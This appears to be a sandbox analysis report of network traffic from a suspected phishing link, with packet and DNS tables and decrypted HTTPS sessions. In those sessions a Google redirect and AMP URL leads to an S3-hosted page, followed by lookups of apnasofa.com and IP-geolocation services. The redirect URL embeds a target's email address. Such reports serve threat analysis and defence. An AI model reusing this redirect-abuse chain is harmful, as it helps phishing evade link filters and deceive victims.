Dec 2, 2024 17:58:06.715651035 CET	50032	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:06.715655088 CET	443	50032	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:06.718046904 CET	50037	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:06.718080044 CET	443	50037	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:06.718139887 CET	50037	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:06.718298912 CET	50037	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:06.718307018 CET	443	50037	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:06.840764046 CET	443	50034	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:06.841259956 CET	50034	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:06.841279984 CET	443	50034	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:06.841712952 CET	50034	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:06.841720104 CET	443	50034	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:07.108062029 CET	443	50033	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:07.108309984 CET	443	50033	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:07.108375072 CET	50033	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:07.108405113 CET	50033	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:07.108406067 CET	50033	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:07.108422995 CET	443	50033	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:07.108433008 CET	443	50033	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:07.110697985 CET	50038	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:07.110773087 CET	443	50038	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:07.110847950 CET	50038	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:07.110963106 CET	50038	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:07.110980034 CET	443	50038	13.107.246.63	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 2, 2024 17:55:09.517292976 CET	51805	53	192.168.2.4	1.1.1.1
Dec 2, 2024 17:55:09.517555952 CET	54161	53	192.168.2.4	1.1.1.1
Dec 2, 2024 17:55:09.654571056 CET	53	51805	1.1.1.1	192.168.2.4
Dec 2, 2024 17:55:09.667524099 CET	53	51246	1.1.1.1	192.168.2.4
Dec 2, 2024 17:55:09.718389988 CET	53	59921	1.1.1.1	192.168.2.4
Dec 2, 2024 17:55:09.748765945 CET	53	54161	1.1.1.1	192.168.2.4
Dec 2, 2024 17:55:12.689568996 CET	53	62783	1.1.1.1	192.168.2.4
Dec 2, 2024 17:55:13.466099024 CET	57869	53	192.168.2.4	1.1.1.1
Dec 2, 2024 17:55:13.467349052 CET	53309	53	192.168.2.4	1.1.1.1
Dec 2, 2024 17:55:13.603728056 CET	53	57869	1.1.1.1	192.168.2.4
Dec 2, 2024 17:55:13.604630947 CET	53	53309	1.1.1.1	192.168.2.4
Dec 2, 2024 17:55:14.379396915 CET	63013	53	192.168.2.4	1.1.1.1
Dec 2, 2024 17:55:15.263559103 CET	59884	53	192.168.2.4	1.1.1.1
Dec 2, 2024 17:55:15.263756990 CET	58809	53	192.168.2.4	1.1.1.1
Dec 2, 2024 17:55:15.738461018 CET	53	59884	1.1.1.1	192.168.2.4
Dec 2, 2024 17:55:15.751586914 CET	53	58809	1.1.1.1	192.168.2.4
Dec 2, 2024 17:55:17.816756010 CET	51459	53	192.168.2.4	1.1.1.1
Dec 2, 2024 17:55:17.816962957 CET	57235	53	192.168.2.4	1.1.1.1
Dec 2, 2024 17:55:18.844471931 CET	49841	53	192.168.2.4	1.1.1.1
Dec 2, 2024 17:55:18.844589949 CET	55875	53	192.168.2.4	1.1.1.1
Dec 2, 2024 17:55:18.992553949 CET	53	57235	1.1.1.1	192.168.2.4
Dec 2, 2024 17:55:18.992744923 CET	53	55875	1.1.1.1	192.168.2.4
Dec 2, 2024 17:55:18.992985964 CET	53	51459	1.1.1.1	192.168.2.4
Dec 2, 2024 17:55:18.993935108 CET	53	49841	1.1.1.1	192.168.2.4
Dec 2, 2024 17:55:24.508872032 CET	56556	53	192.168.2.4	1.1.1.1
Dec 2, 2024 17:55:24.509021044 CET	64275	53	192.168.2.4	1.1.1.1
Dec 2, 2024 17:55:24.518591881 CET	54146	53	192.168.2.4	1.1.1.1
Dec 2, 2024 17:55:24.518758059 CET	56261	53	192.168.2.4	1.1.1.1
Dec 2, 2024 17:55:24.737317085 CET	53	56556	1.1.1.1	192.168.2.4
Dec 2, 2024 17:55:24.738018036 CET	53	64275	1.1.1.1	192.168.2.4
Dec 2, 2024 17:55:24.738034010 CET	53	63099	1.1.1.1	192.168.2.4
Dec 2, 2024 17:55:24.738569975 CET	53	56261	1.1.1.1	192.168.2.4
Dec 2, 2024 17:55:24.739015102 CET	53	54146	1.1.1.1	192.168.2.4
Dec 2, 2024 17:55:25.526690006 CET	138	138	192.168.2.4	192.168.2.255
Dec 2, 2024 17:55:26.475647926 CET	58445	53	192.168.2.4	1.1.1.1
Dec 2, 2024 17:55:26.476048946 CET	58927	53	192.168.2.4	1.1.1.1
Dec 2, 2024 17:55:26.477492094 CET	61150	53	192.168.2.4	1.1.1.1
Dec 2, 2024 17:55:26.477650881 CET	64998	53	192.168.2.4	1.1.1.1
Dec 2, 2024 17:55:26.614950895 CET	53	61150	1.1.1.1	192.168.2.4
Dec 2, 2024 17:55:26.616444111 CET	53	64998	1.1.1.1	192.168.2.4
Dec 2, 2024 17:55:26.810036898 CET	53	58927	1.1.1.1	192.168.2.4
Dec 2, 2024 17:55:26.814457893 CET	53	58445	1.1.1.1	192.168.2.4
Dec 2, 2024 17:55:29.589633942 CET	54439	53	192.168.2.4	1.1.1.1
Dec 2, 2024 17:55:29.589982986 CET	58391	53	192.168.2.4	1.1.1.1
Dec 2, 2024 17:55:29.727570057 CET	53	58391	1.1.1.1	192.168.2.4
Dec 2, 2024 17:55:29.727961063 CET	53	54439	1.1.1.1	192.168.2.4
Dec 2, 2024 17:55:29.753643990 CET	53	61927	1.1.1.1	192.168.2.4
Dec 2, 2024 17:55:49.271131039 CET	53	63253	1.1.1.1	192.168.2.4
Dec 2, 2024 17:56:08.928505898 CET	53	60372	1.1.1.1	192.168.2.4
Dec 2, 2024 17:56:12.769287109 CET	53	62576	1.1.1.1	192.168.2.4
Dec 2, 2024 17:56:39.837351084 CET	53	59948	1.1.1.1	192.168.2.4
Dec 2, 2024 17:57:24.710961103 CET	53	61909	1.1.1.1	192.168.2.4

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Dec 2, 2024 17:55:18.992985964 CET	192.168.2.4	1.1.1.1	c232	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 2, 2024 17:55:09.517292976 CET	192.168.2.4	1.1.1.1	0x5d47	Standard query (0)	www.google.sn	A (IP address)	IN (0x0001)	false
Dec 2, 2024 17:55:09.517555952 CET	192.168.2.4	1.1.1.1	0xc28	Standard query (0)	www.google.sn	65	IN (0x0001)	false
Dec 2, 2024 17:55:13.466099024 CET	192.168.2.4	1.1.1.1	0xcbb6	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 2, 2024 17:55:13.467349052 CET	192.168.2.4	1.1.1.1	0x696f	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 2, 2024 17:55:14.379396915 CET	192.168.2.4	1.1.1.1	0xeb35	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Dec 2, 2024 17:55:15.263559103 CET	192.168.2.4	1.1.1.1	0x79cf	Standard query (0)	i--iy.s3.us-east-1.amazonaws.com	A (IP address)	IN (0x0001)	false
Dec 2, 2024 17:55:15.263756990 CET	192.168.2.4	1.1.1.1	0x2984	Standard query (0)	i--iy.s3.us-east-1.amazonaws.com	65	IN (0x0001)	false
Dec 2, 2024 17:55:17.816756010 CET	192.168.2.4	1.1.1.1	0x4baf	Standard query (0)	apnasofa.com	A (IP address)	IN (0x0001)	false
Dec 2, 2024 17:55:17.816962957 CET	192.168.2.4	1.1.1.1	0x5a09	Standard query (0)	apnasofa.com	65	IN (0x0001)	false
Dec 2, 2024 17:55:18.844471931 CET	192.168.2.4	1.1.1.1	0xcc56	Standard query (0)	apnasofa.com	A (IP address)	IN (0x0001)	false
Dec 2, 2024 17:55:18.844589949 CET	192.168.2.4	1.1.1.1	0x583a	Standard query (0)	apnasofa.com	65	IN (0x0001)	false
Dec 2, 2024 17:55:24.508872032 CET	192.168.2.4	1.1.1.1	0x8723	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Dec 2, 2024 17:55:24.509021044 CET	192.168.2.4	1.1.1.1	0x7f1e	Standard query (0)	api.ipify.org	65	IN (0x0001)	false
Dec 2, 2024 17:55:24.518591881 CET	192.168.2.4	1.1.1.1	0xe7ed	Standard query (0)	apnasofa.com	A (IP address)	IN (0x0001)	false
Dec 2, 2024 17:55:24.518758059 CET	192.168.2.4	1.1.1.1	0x8d2b	Standard query (0)	apnasofa.com	65	IN (0x0001)	false
Dec 2, 2024 17:55:26.475647926 CET	192.168.2.4	1.1.1.1	0x7fbe	Standard query (0)	ipwhois.app	A (IP address)	IN (0x0001)	false
Dec 2, 2024 17:55:26.476048946 CET	192.168.2.4	1.1.1.1	0x42ee	Standard query (0)	ipwhois.app	65	IN (0x0001)	false
Dec 2, 2024 17:55:26.477492094 CET	192.168.2.4	1.1.1.1	0xc781	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Dec 2, 2024 17:55:26.477650881 CET	192.168.2.4	1.1.1.1	0x69a8	Standard query (0)	api.ipify.org	65	IN (0x0001)	false
Dec 2, 2024 17:55:29.589633942 CET	192.168.2.4	1.1.1.1	0x8e65	Standard query (0)	ipwhois.app	A (IP address)	IN (0x0001)	false
Dec 2, 2024 17:55:29.589982986 CET	192.168.2.4	1.1.1.1	0xfcf	Standard query (0)	ipwhois.app	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 2, 2024 17:55:09.654571056 CET	1.1.1.1	192.168.2.4	0x5d47	No error (0)	www.google.sn		172.217.19.227	A (IP address)	IN (0x0001)	false
Dec 2, 2024 17:55:13.603728056 CET	1.1.1.1	192.168.2.4	0xcbb6	No error (0)	www.google.com		142.250.181.100	A (IP address)	IN (0x0001)	false
Dec 2, 2024 17:55:13.604630947 CET	1.1.1.1	192.168.2.4	0x696f	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 2, 2024 17:55:14.517848969 CET	1.1.1.1	192.168.2.4	0xeb35	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2024 17:55:15.738461018 CET	1.1.1.1	192.168.2.4	0x79cf	No error (0)	i--iy.s3.us-east-1.amazonaws.com	s3-r-w.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2024 17:55:15.738461018 CET	1.1.1.1	192.168.2.4	0x79cf	No error (0)	s3-r-w.us-east-1.amazonaws.com		52.217.199.10	A (IP address)	IN (0x0001)	false
Dec 2, 2024 17:55:15.738461018 CET	1.1.1.1	192.168.2.4	0x79cf	No error (0)	s3-r-w.us-east-1.amazonaws.com		52.217.233.138	A (IP address)	IN (0x0001)	false
Dec 2, 2024 17:55:15.738461018 CET	1.1.1.1	192.168.2.4	0x79cf	No error (0)	s3-r-w.us-east-1.amazonaws.com		52.217.16.40	A (IP address)	IN (0x0001)	false
Dec 2, 2024 17:55:15.738461018 CET	1.1.1.1	192.168.2.4	0x79cf	No error (0)	s3-r-w.us-east-1.amazonaws.com		52.217.207.18	A (IP address)	IN (0x0001)	false
Dec 2, 2024 17:55:15.738461018 CET	1.1.1.1	192.168.2.4	0x79cf	No error (0)	s3-r-w.us-east-1.amazonaws.com		16.15.193.69	A (IP address)	IN (0x0001)	false
Dec 2, 2024 17:55:15.738461018 CET	1.1.1.1	192.168.2.4	0x79cf	No error (0)	s3-r-w.us-east-1.amazonaws.com		3.5.8.231	A (IP address)	IN (0x0001)	false
Dec 2, 2024 17:55:15.738461018 CET	1.1.1.1	192.168.2.4	0x79cf	No error (0)	s3-r-w.us-east-1.amazonaws.com		52.217.106.120	A (IP address)	IN (0x0001)	false
Dec 2, 2024 17:55:15.738461018 CET	1.1.1.1	192.168.2.4	0x79cf	No error (0)	s3-r-w.us-east-1.amazonaws.com		16.182.70.42	A (IP address)	IN (0x0001)	false
Dec 2, 2024 17:55:15.751586914 CET	1.1.1.1	192.168.2.4	0x2984	No error (0)	i--iy.s3.us-east-1.amazonaws.com	s3-r-w.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2024 17:55:16.391450882 CET	1.1.1.1	192.168.2.4	0x8bc9	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2024 17:55:16.391450882 CET	1.1.1.1	192.168.2.4	0x8bc9	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.208.99	A (IP address)	IN (0x0001)	false
Dec 2, 2024 17:55:16.391450882 CET	1.1.1.1	192.168.2.4	0x8bc9	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.208.72	A (IP address)	IN (0x0001)	false
Dec 2, 2024 17:55:16.391450882 CET	1.1.1.1	192.168.2.4	0x8bc9	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.208.106	A (IP address)	IN (0x0001)	false
Dec 2, 2024 17:55:16.391450882 CET	1.1.1.1	192.168.2.4	0x8bc9	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.211.38	A (IP address)	IN (0x0001)	false
Dec 2, 2024 17:55:16.391450882 CET	1.1.1.1	192.168.2.4	0x8bc9	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.56.102	A (IP address)	IN (0x0001)	false
Dec 2, 2024 17:55:16.391450882 CET	1.1.1.1	192.168.2.4	0x8bc9	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.56.98	A (IP address)	IN (0x0001)	false
Dec 2, 2024 17:55:16.391450882 CET	1.1.1.1	192.168.2.4	0x8bc9	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.59.37	A (IP address)	IN (0x0001)	false
Dec 2, 2024 17:55:16.391450882 CET	1.1.1.1	192.168.2.4	0x8bc9	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.211.18	A (IP address)	IN (0x0001)	false
Dec 2, 2024 17:55:18.992985964 CET	1.1.1.1	192.168.2.4	0x4baf	No error (0)	apnasofa.com		103.160.107.138	A (IP address)	IN (0x0001)	false
Dec 2, 2024 17:55:18.993935108 CET	1.1.1.1	192.168.2.4	0xcc56	No error (0)	apnasofa.com		103.160.107.138	A (IP address)	IN (0x0001)	false
Dec 2, 2024 17:55:24.737317085 CET	1.1.1.1	192.168.2.4	0x8723	No error (0)	api.ipify.org		104.26.12.205	A (IP address)	IN (0x0001)	false
Dec 2, 2024 17:55:24.737317085 CET	1.1.1.1	192.168.2.4	0x8723	No error (0)	api.ipify.org		172.67.74.152	A (IP address)	IN (0x0001)	false
Dec 2, 2024 17:55:24.737317085 CET	1.1.1.1	192.168.2.4	0x8723	No error (0)	api.ipify.org		104.26.13.205	A (IP address)	IN (0x0001)	false
Dec 2, 2024 17:55:24.738018036 CET	1.1.1.1	192.168.2.4	0x7f1e	No error (0)	api.ipify.org			65	IN (0x0001)	false
Dec 2, 2024 17:55:24.739015102 CET	1.1.1.1	192.168.2.4	0xe7ed	No error (0)	apnasofa.com		103.160.107.138	A (IP address)	IN (0x0001)	false
Dec 2, 2024 17:55:26.614950895 CET	1.1.1.1	192.168.2.4	0xc781	No error (0)	api.ipify.org		104.26.13.205	A (IP address)	IN (0x0001)	false
Dec 2, 2024 17:55:26.614950895 CET	1.1.1.1	192.168.2.4	0xc781	No error (0)	api.ipify.org		104.26.12.205	A (IP address)	IN (0x0001)	false
Dec 2, 2024 17:55:26.614950895 CET	1.1.1.1	192.168.2.4	0xc781	No error (0)	api.ipify.org		172.67.74.152	A (IP address)	IN (0x0001)	false
Dec 2, 2024 17:55:26.616444111 CET	1.1.1.1	192.168.2.4	0x69a8	No error (0)	api.ipify.org			65	IN (0x0001)	false
Dec 2, 2024 17:55:26.814457893 CET	1.1.1.1	192.168.2.4	0x7fbe	No error (0)	ipwhois.app		103.126.138.87	A (IP address)	IN (0x0001)	false
Dec 2, 2024 17:55:29.727961063 CET	1.1.1.1	192.168.2.4	0x8e65	No error (0)	ipwhois.app		103.126.138.87	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.google.sn

fs.microsoft.com

i--iy.s3.us-east-1.amazonaws.com

https:

apnasofa.com

api.ipify.org

ipwhois.app

slscr.update.microsoft.com

otelrules.azureedge.net

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49736	172.217.19.227	443	7380	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:55:11 UTC	883	OUT	GET /url?q=lheard@wc.com&wc.com&sa=t&url=amp/s/i--iy.s3.us-east-1.amazonaws.com/vocabulary.html HTTP/1.1 Host: www.google.sn Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-02 16:55:12 UTC	1036	IN	HTTP/1.1 302 Found Location: https://www.google.sn/amp/s/i--iy.s3.us-east-1.amazonaws.com/vocabulary.html Cache-Control: private Content-Type: text/html; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-ON2QcnrffTVpqbvK7TkahQ' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other Permissions-Policy: unload=() P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Date: Mon, 02 Dec 2024 16:55:12 GMT Server: gws Content-Length: 273 X-XSS-Protection: 0 Set-Cookie: NID=519=cT6yRArz5LPOngWUt5-gDsrB6NSNUY1EfMxZpdNoyZ7ircpxiYVNljQhn84VPXFa0haU2BAPEqEgGwGM6GYQ4qBSgvaJFGh_YrCXHyhveczuLydmkMSbblVsEG6B4bqvGtVVT7MszTIXRQfteAIQunFlGlhDMx5pHdI419-mECkLjAGtHBFOJE1GbrLGD3HxR8A00g; expires=Tue, 03-Jun-2025 16:55:12 GMT; path=/; domain=.google.sn; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-02 16:55:12 UTC	273	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 73 6e 2f 61 6d 70 2f 73 2f 69 2d 2d 69 79 2e 73 33 2e 75 73 2d 65 61 73 74 2d 31 2e 61 6d 61 7a 6f 6e 61 77 73 2e 63 6f 6d 2f 76 6f 63 61 62 75 6c 61 72 79 2e 68 74 6d 6c 22 3e 68 65 72 65 3c 2f 41 3e 2e Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://www.google.sn/amp/s/i--iy.s3.us-east-1.amazonaws.com/vocabulary.html">here</A>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49745	172.217.19.227	443	7380	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:55:14 UTC	1063	OUT	GET /amp/s/i--iy.s3.us-east-1.amazonaws.com/vocabulary.html HTTP/1.1 Host: www.google.sn Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=519=cT6yRArz5LPOngWUt5-gDsrB6NSNUY1EfMxZpdNoyZ7ircpxiYVNljQhn84VPXFa0haU2BAPEqEgGwGM6GYQ4qBSgvaJFGh_YrCXHyhveczuLydmkMSbblVsEG6B4bqvGtVVT7MszTIXRQfteAIQunFlGlhDMx5pHdI419-mECkLjAGtHBFOJE1GbrLGD3HxR8A00g
2024-12-02 16:55:15 UTC	825	IN	HTTP/1.1 302 Found Location: https://i--iy.s3.us-east-1.amazonaws.com/vocabulary.html Cache-Control: private X-Robots-Tag: noindex Content-Type: text/html; charset=UTF-8 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-2FMJoYhFU5odv7Y1dzmTWw' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Permissions-Policy: unload=() Date: Mon, 02 Dec 2024 16:55:14 GMT Server: gws Content-Length: 253 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-02 16:55:15 UTC	253	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 69 2d 2d 69 79 2e 73 33 2e 75 73 2d 65 61 73 74 2d 31 2e 61 6d 61 7a 6f 6e 61 77 73 2e 63 6f 6d 2f 76 6f 63 61 62 75 6c 61 72 79 2e 68 74 6d 6c 22 3e 68 65 72 65 3c 2f 41 3e 2e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://i--iy.s3.us-east-1.amazonaws.com/vocabulary.html">here</A>.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49746	23.32.185.164	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:55:14 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-12-02 16:55:15 UTC	478	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Server: Kestrel ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-OSID: 2 X-CID: 2 X-CCC: GB Cache-Control: public, max-age=95506 Date: Mon, 02 Dec 2024 16:55:14 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49750	23.32.185.164	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:55:16 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-12-02 16:55:17 UTC	535	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=155511 Date: Mon, 02 Dec 2024 16:55:16 GMT Content-Length: 55 Connection: close X-CID: 2
2024-12-02 16:55:17 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49751	52.217.199.10	443	7380	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:55:17 UTC	690	OUT	GET /vocabulary.html HTTP/1.1 Host: i--iy.s3.us-east-1.amazonaws.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
